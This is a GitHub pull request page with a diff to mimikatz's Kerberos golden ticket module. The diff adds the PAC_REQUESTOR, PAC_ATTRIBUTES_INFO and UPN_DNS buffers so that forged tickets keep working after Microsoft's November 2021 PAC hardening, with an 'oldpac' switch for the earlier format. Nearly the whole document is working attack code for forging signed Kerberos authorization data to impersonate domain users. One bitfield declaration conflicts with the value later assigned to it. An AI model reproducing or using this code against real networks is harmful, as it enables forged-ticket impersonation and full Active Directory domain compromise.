Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kerberos Golden Ticket PAC Updates for the Nov2021 Microsoft Updates #380

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 4 additions & 3 deletions mimikatz/modules/kerberos/kuhl_m_kerberos.c
Original file line number Diff line number Diff line change
Expand Up @@ -421,6 +421,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
NTSTATUS status;
PKERB_ECRYPT pCSystem;
BOOL isPtt = kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL);
BOOL oldPac = kull_m_string_args_byName(argc, argv, L"oldpac", NULL, NULL);

kull_m_string_args_byName(argc, argv, L"ticket", &filename, L"ticket." MIMIKATZ_KERBEROS_EXT);
if(kull_m_string_args_byName(argc, argv, L"admin", &szUser, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
Expand Down Expand Up @@ -505,7 +506,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
kull_m_string_displayLocalFileTime(&lifeTimeData.TicketEnd); kprintf(L" ; ");
kull_m_string_displayLocalFileTime(&lifeTimeData.TicketRenew); kprintf(L"\n");
kprintf(L"-> Ticket : %s\n\n", isPtt ? L"** Pass The Ticket **" : filename);
if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet))
if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet, oldPac))
{
if(isPtt)
{
Expand Down Expand Up @@ -580,7 +581,7 @@ NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD
return status;
}

PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet)
PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet, BOOL oldPac)
{
NTSTATUS status = STATUS_INVALID_PARAMETER;
KIWI_KERBEROS_TICKET ticket = {0};
Expand Down Expand Up @@ -634,7 +635,7 @@ PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWST
{
if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids))
{
if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize))
if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, sid, userid, domainname, oldPac, &pacType, &pacTypeSize))
{
kprintf(L" * PAC generated\n");
status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize);
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/kerberos/kuhl_m_kerberos.h
Original file line number Diff line number Diff line change
Expand Up @@ -43,5 +43,5 @@ NTSTATUS kuhl_m_kerberos_hash_data_raw(LONG keyType, PCUNICODE_STRING pString, P
NTSTATUS kuhl_m_kerberos_hash_data(LONG keyType, PCUNICODE_STRING pString, PCUNICODE_STRING pSalt, DWORD count);
wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext);
wchar_t * kuhl_m_kerberos_generateFileName_short(PKIWI_KERBEROS_TICKET ticket, LPCWSTR ext);
PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet);
PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet, BOOL oldPac);
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD keySize, LPCVOID data, DWORD dataSize, LPVOID *output, DWORD *outputSize, BOOL encrypt);
94 changes: 85 additions & 9 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,18 @@
*/
#include "kuhl_m_kerberos_pac.h"

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength)
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, BOOL oldPac, PPACTYPE * pacType, DWORD * pacLength)
{
BOOL status = FALSE;
PVOID pLogonInfo = NULL, pClaims = NULL;
PPAC_CLIENT_INFO pClientInfo = NULL;
PAC_SIGNATURE_DATA signature = {SignatureType, {0}};
DWORD n = 4, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER);
DWORD n = oldPac ? 4 : 7, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szPacRequestorsid = 0, szPacRequestorSidAligned = 0, szUpnDnsInfo = 0, szDomainname = 0, szDomainnameAligned = 0, szPacAttributeInfo = 0, szPacAttributeInfoAligned = 0, szUpn = 0, szUpnDnsInfoAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + (oldPac ? 3 : 6) * sizeof(PAC_INFO_BUFFER);
PKERB_CHECKSUM pCheckSum;
UPN_DNS_INFO upnDnsInfo;
PSID userSid;
PAC_ATTRIBUTES_INFO pacAttributeInfo;
LPWSTR stringDomainSid = NULL, stringUserSid = NULL, pUpn = NULL;

if(NT_SUCCESS(CDLocateCheckSum(SignatureType, &pCheckSum)))
{
Expand All @@ -31,9 +35,56 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
offsetData += sizeof(PAC_INFO_BUFFER);
}

if(pLogonInfo && pClientInfo)
if (!oldPac)
{
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szClaimsAligned + 2 * szSignatureAligned;
// Convert sid and id into user sid for PAC REQUESTOR using string conversersion and converting back to sids
if (ConvertSidToStringSid(sid, &stringDomainSid))
{
if (kull_m_string_sprintf(&stringUserSid, L"%s-%d", stringDomainSid, userId))
{
if (ConvertStringSidToSid(stringUserSid, &userSid))
{
szPacRequestorsid = GetLengthSid(userSid);
szPacRequestorSidAligned = SIZE_ALIGN(szPacRequestorsid, 8);
}
}
stringDomainSid = LocalFree(stringDomainSid);
}

// Setting up PAC_ATTRIBUTE_IFNO
pacAttributeInfo.Flags[0] = PAC_ATTRIBUTE_FLAG_PAC_WAS_GIVEN_IMPLICITLY;
pacAttributeInfo.FlagsLength = 2;
szPacAttributeInfo = sizeof(PAC_ATTRIBUTES_INFO);
szPacAttributeInfoAligned = SIZE_ALIGN(szPacAttributeInfo, 8);


// Making UPN
if (kull_m_string_sprintf(&pUpn, L"%s@%s", validationInfo->EffectiveName.Buffer, domainname))
{
szUpn = lstrlenW(pUpn) * 2;

if (szUpn > USHRT_MAX)
{
pUpn = LocalFree(pUpn);
szUpn = 0;
}
}

// Setting UPN DNS INFO
upnDnsInfo.UpnLength = (USHORT) szUpn;
upnDnsInfo.UpnOffset = sizeof(upnDnsInfo);
upnDnsInfo.DnsDomainNameLength = validationInfo->LogonDomainName.Length * 2;
upnDnsInfo.DnsDomainNameOffset = upnDnsInfo.UpnLength + upnDnsInfo.UpnOffset;
upnDnsInfo.Flags = 0x00000000;

szDomainname = validationInfo->LogonDomainName.Length * 2;
szUpnDnsInfo = sizeof(upnDnsInfo) + szUpn + szDomainname;
szUpnDnsInfoAligned = SIZE_ALIGN(szUpnDnsInfo, 8);
}

if(pLogonInfo && pClientInfo && (oldPac || (pUpn && userSid)))
{
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szUpnDnsInfoAligned + szPacAttributeInfoAligned + szPacRequestorSidAligned + szClaimsAligned + 2 * szSignatureAligned;
if(*pacType = (PPACTYPE) LocalAlloc(LPTR, *pacLength))
{
(*pacType)->cBuffers = n;
Expand All @@ -48,13 +99,33 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
(*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;
(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize);

if(szClaimsAligned)
if (!oldPac)
{
(*pacType)->Buffers[2].cbBufferSize = szClaims;
(*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS;
(*pacType)->Buffers[2].cbBufferSize = szUpnDnsInfo;
(*pacType)->Buffers[2].ulType = PACINFO_TYPE_UPN_DNS;
(*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset, &upnDnsInfo, (*pacType)->Buffers[2].cbBufferSize);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + sizeof(upnDnsInfo), pUpn, szUpn);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + sizeof(upnDnsInfo) + szUpn, domainname, szDomainname);

(*pacType)->Buffers[3].cbBufferSize = szPacAttributeInfo;
(*pacType)->Buffers[3].ulType = PACINFO_TYPE_ATTRIBUTES_INFO;
(*pacType)->Buffers[3].Offset = (*pacType)->Buffers[2].Offset + szUpnDnsInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[3].Offset, &pacAttributeInfo, (*pacType)->Buffers[3].cbBufferSize);

(*pacType)->Buffers[4].cbBufferSize = szPacRequestorsid;
(*pacType)->Buffers[4].ulType = PACINFO_TYPE_PAC_REQUESTOR;
(*pacType)->Buffers[4].Offset = (*pacType)->Buffers[3].Offset + szPacAttributeInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[4].Offset, userSid, (*pacType)->Buffers[4].cbBufferSize);
}

if (szClaimsAligned)
{
(*pacType)->Buffers[n - 3].cbBufferSize = szClaims;
(*pacType)->Buffers[n - 3].ulType = PACINFO_TYPE_CLIENT_CLAIMS;
(*pacType)->Buffers[n - 3].Offset = (*pacType)->Buffers[n - 4].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[n - 3].Offset, pClaims, (*pacType)->Buffers[n - 3].cbBufferSize);
}

(*pacType)->Buffers[n - 2].cbBufferSize = szSignature;
Expand All @@ -77,6 +148,10 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
LocalFree(pClientInfo);
if(pClaims)
LocalFree(pClaims);
if (pUpn)
LocalFree(pUpn);
if (userSid)
LocalFree(userSid);
}
return status;
}
Expand Down Expand Up @@ -381,6 +456,7 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize);
kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1);
kprintf(L"\n");

}
kprintf(L"\n");
}
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ typedef struct _PAC_SIGNATURE_DATA {
} PAC_SIGNATURE_DATA, *PPAC_SIGNATURE_DATA;
#pragma pack(pop)

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, BOOL oldPac, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_CNAME_TINFO(PFILETIME authtime, LPCWSTR clientname, PPAC_CLIENT_INFO * pacClientInfo, DWORD * pacClientInfoLength);
NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LONG SignatureType, LPCVOID key, DWORD keySize);
PKERB_VALIDATION_INFO kuhl_m_pac_infoToValidationInfo(PFILETIME authtime, LPCWSTR username, LPCWSTR domainname, LPCWSTR LogonDomainName, PISID sid, ULONG rid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids);
Expand Down
33 changes: 23 additions & 10 deletions modules/rpc/kull_m_rpc_ms-pac.h
Original file line number Diff line number Diff line change
Expand Up @@ -2,16 +2,20 @@
#include "kull_m_rpc.h"
#include "../kull_m_samlib.h"

#define PACINFO_TYPE_LOGON_INFO 0x00000001
#define PACINFO_TYPE_CREDENTIALS_INFO 0x00000002
#define PACINFO_TYPE_CHECKSUM_SRV 0x00000006
#define PACINFO_TYPE_CHECKSUM_KDC 0x00000007
#define PACINFO_TYPE_CNAME_TINFO 0x0000000a
#define PACINFO_TYPE_DELEGATION_INFO 0x0000000b
#define PACINFO_TYPE_UPN_DNS 0x0000000c
#define PACINFO_TYPE_CLIENT_CLAIMS 0x0000000d
#define PACINFO_TYPE_DEVICE_INFO 0x0000000e
#define PACINFO_TYPE_DEVICE_CLAIMS 0x0000000f
#define PACINFO_TYPE_LOGON_INFO 0x00000001
#define PACINFO_TYPE_CREDENTIALS_INFO 0x00000002
#define PACINFO_TYPE_CHECKSUM_SRV 0x00000006
#define PACINFO_TYPE_CHECKSUM_KDC 0x00000007
#define PACINFO_TYPE_CNAME_TINFO 0x0000000a
#define PACINFO_TYPE_DELEGATION_INFO 0x0000000b
#define PACINFO_TYPE_UPN_DNS 0x0000000c
#define PACINFO_TYPE_CLIENT_CLAIMS 0x0000000d
#define PACINFO_TYPE_DEVICE_INFO 0x0000000e
#define PACINFO_TYPE_DEVICE_CLAIMS 0x0000000f
#define PACINFO_TYPE_ATTRIBUTES_INFO 0x00000011
#define PACINFO_TYPE_PAC_REQUESTOR 0x00000012
#define PAC_ATTRIBUTE_FLAG_PAC_WAS_REQUESTED 0x00000001
#define PAC_ATTRIBUTE_FLAG_PAC_WAS_GIVEN_IMPLICITLY 0x00000002

typedef struct _PAC_INFO_BUFFER {
ULONG ulType;
Expand All @@ -37,6 +41,15 @@ typedef struct _PAC_CREDENTIAL_INFO {
UCHAR SerializedData[ANYSIZE_ARRAY];
} PAC_CREDENTIAL_INFO, *PPAC_CREDENTIAL_INFO;

typedef struct _PAC_REQUESTOR {
PISID sid;
} PAC_REQUESTOR, * PPAC_REQUESTOR;

typedef struct _PAC_ATTRIBUTES_INFO {
unsigned int FlagsLength : 1;
unsigned int Flags[ANYSIZE_ARRAY];
} PAC_ATTRIBUTES_INFO, * PPAC_ATTRIBUTES_INFO;

#if !defined(_NTSECPKG_)
typedef struct _SECPKG_SUPPLEMENTAL_CRED {
RPC_UNICODE_STRING PackageName;
Expand Down